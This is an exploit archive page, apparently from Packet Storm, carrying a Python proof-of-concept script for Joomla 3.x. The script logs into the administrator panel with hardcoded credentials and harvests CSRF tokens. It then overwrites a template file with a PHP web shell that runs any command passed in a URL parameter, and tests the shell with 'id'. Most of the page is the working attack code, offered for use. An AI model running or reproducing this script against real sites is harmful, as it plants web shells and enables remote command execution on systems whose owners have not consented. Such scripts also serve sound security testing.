Exploit the possiblities

Joomla 3.x Proof Of Concept Shell Upload

Joomla 3.x Proof Of Concept Shell Upload
Posted May 28, 2017
Authored by Cody Sixteen

This proof of concept code shows how administrator functionality can be abused in Joomla to upload a shell.

tags | exploit, shell, proof of concept, file upload
MD5 | 5342f1f41088abee2af959b87cbce235

Joomla 3.x Proof Of Concept Shell Upload

Change Mirror Download

c@kali:~/src/napalm2.2/modules$ cat shell-joomla.py
#!/usr/bin/env python
# joomla_shellup.py - small script to upload shell in Joomla
#
# 02.05.2017, rewrited: 27.05
# -- hint --
# To exploit this "feature" you will need valid credentials.'
# Based on latest (3.6.5-1) version.'
# Tested also on: 3.7.x


import requests
import re

target = raw_input("[+] Hostname >> ")

print '[+] Checking: ' + str(target)

# initGET
session = requests.session()
initlink = target + '/administrator/index.php'

initsend = session.get(initlink)
initresp = initsend.text

find_token = re.compile('<input type="hidden" name="(.*?)" value="1"/>')
found_token = re.search(find_token, initresp)

if found_token:
initToken = found_token.group(1)
print '[+] Found init token: ' + initToken

print '[+] Preparing login request'
data_login = {
'username':'user',
'passwd':'bitnami',
'lang':'',
'option':'com_login',
'task':'login',
'return':'aW5kZXgucGhw',
initToken:'1'
}
data_link = initlink
doLogin = session.post(data_link, data=data_login)
loginResp = doLogin.text

print '[+] At this stage we should be logged-in as an admin :)'

uplink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'
filename = 'jsstrings.php'
print '[+] File to change: ' + str(filename)

getnewtoken = session.get(uplink)
getresptoken = getnewtoken.text

newToken = re.compile('<input type="hidden" name="(.*?)" value="1"/>')
newFound = re.search(newToken, getresptoken)

if newFound:
newOneTok = newFound.group(1)
print '[+] Grabbing new token from logged-in user: ' + newOneTok

getjs = target+'/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'
getjsreq = session.get(getjs)
getjsresp = getjsreq.text

# print getjsresp
print '[+] Shellname: ' + filename
shlink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='
shdata_up = {
'jform[source]':'<?php system($_GET["x"]);',
'task':'template.apply',
newOneTok:'1',
'jform[extension_id]':'503',
'jform[filename]':'/'+filename
}
shreq = session.post(shlink, data=shdata_up)
path2shell = '/templates/beez3/jsstrings.php?x=id'
print '[+] Shell is ready to use: ' + str(path2shell)
print '[+] Checking:'
shreq = session.get(target + path2shell)
shresp = shreq.text

print shresp

print '\n[+] Module finished.'


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close